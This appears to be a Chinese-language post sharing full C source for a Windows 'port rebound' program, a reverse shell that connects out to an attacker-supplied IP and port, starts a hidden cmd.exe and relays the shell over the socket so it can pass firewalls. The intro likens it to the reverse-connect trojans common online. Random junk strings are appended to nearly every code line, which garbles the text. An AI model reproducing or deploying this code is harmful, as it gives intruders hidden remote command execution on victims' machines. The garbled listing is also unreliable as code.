Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 f3;.+hJ])  
S:= _o  
/* ============================== !_i;6UVG  
Rebound port in Windows NT QZZt9rA;  
By wind,2006/7 5Z]]xR[  
===============================*/ Y%zYO  
#include nyl[d|pVa  
#include H{1'OC  
MP6Py@J45  
#pragma comment(lib,"wsock32.lib") &=>|?
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void OutputShell(); ;ElwF&"!X  
SOCKET sClient; c9/&A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %96l(JlJ)B  
HI\V29 a  
void main(int argc,char **argv) Fo.p}j+>  
{ 'nQQqx%v  
WSADATA stWsaData; lnQfpa8j  
int nRet; l$:?82{  
SOCKADDR_IN stSaiClient,stSaiServer; ^.gBHZ  
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if(argc != 3)  I?R?rW
 
{ `fM]3]x>  
printf("Useage:\n\rRebound DestIP DestPort\n"); E7`Q=4@e  
return; goje4;  
} gt \
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WSAStartup(MAKEWORD(2,2),&stWsaData); 96#aGh>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2~B9 (|  
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stSaiClient.sin_family = AF_INET; x\K9|_!  
stSaiClient.sin_port = htons(0); . Ua
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'UFPQ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NK!#K>AO  
{ /6@$^paB  
printf("Bind Socket Failed!\n"); H"b}lf  
return; s`dwE*~  
} 9D`p2cO  
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stSaiServer.sin_family = AF_INET; aH'=k?Of;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8#h~J>u.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HceZTe@  
iF^   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |T+YC[T#v  
{ CFW#+U#U  
printf("Connect Error!"); ~{00moN"m  
return; ozUsp[W>  
} f=cj5T:[  
OutputShell(); \N
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} `gE_u  
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void OutputShell() Aa!#=V1d  
{ Q&`if O  
char szBuff[1024]; @g%^H)T  
SECURITY_ATTRIBUTES stSecurityAttributes; Y+Cqc.JBQ  
OSVERSIONINFO stOsversionInfo; WT'?L{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j`l'Mg  
STARTUPINFO stStartupInfo; #q9cjEd_7  
char *szShell; .vov ,J!Y  
PROCESS_INFORMATION stProcessInformation; ,8&ND864v  
unsigned long lBytesRead; #!7b3>}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fqm-?vy}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q c DJ  
stSecurityAttributes.lpSecurityDescriptor = 0; fl+dL#]  
stSecurityAttributes.bInheritHandle = TRUE; 9R3YUW}s  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N?l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b~Un=-@5a  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XFi!=|F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #4Ltw,b^  
stStartupInfo.wShowWindow = SW_HIDE; H
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stStartupInfo.hStdInput = hReadPipe; P.W@5:sD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V2o1~R~  
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GetVersionEx(&stOsversionInfo); zOn%\  
d 6=Z=4w  
switch(stOsversionInfo.dwPlatformId) Gq =i-I  
{ Noi+mL  
case 1: A&UGr971  
szShell = "command.com"; Q60'5Wt  
break; 60X))MyN  
default: ;R*tT%Z,  
szShell = "cmd.exe"; g93H
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break; 
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} tE"IE$$1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ={B?hjo<-
 
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send(sClient,szMsg,77,0); 3Q2z+`x'  
while(1) TQ69O +  
{ i/j eb*d0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jk_}y  
if(lBytesRead) rtT*2k*  
{ ueLdjASJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c^8csQ fG  
send(sClient,szBuff,lBytesRead,0); {O5(O oDa  
} c;doxNd6  
else W;QU6z>  
{ @WTzFjv@?4  
lBytesRead=recv(sClient,szBuff,1024,0); @ayrI]m#>,  
if(lBytesRead<=0) break; 6\NBU,lY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nEfQLkb[|  
} i _YJq;(  
} >slGicZ0  
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return; ]}d.h!`<)  
}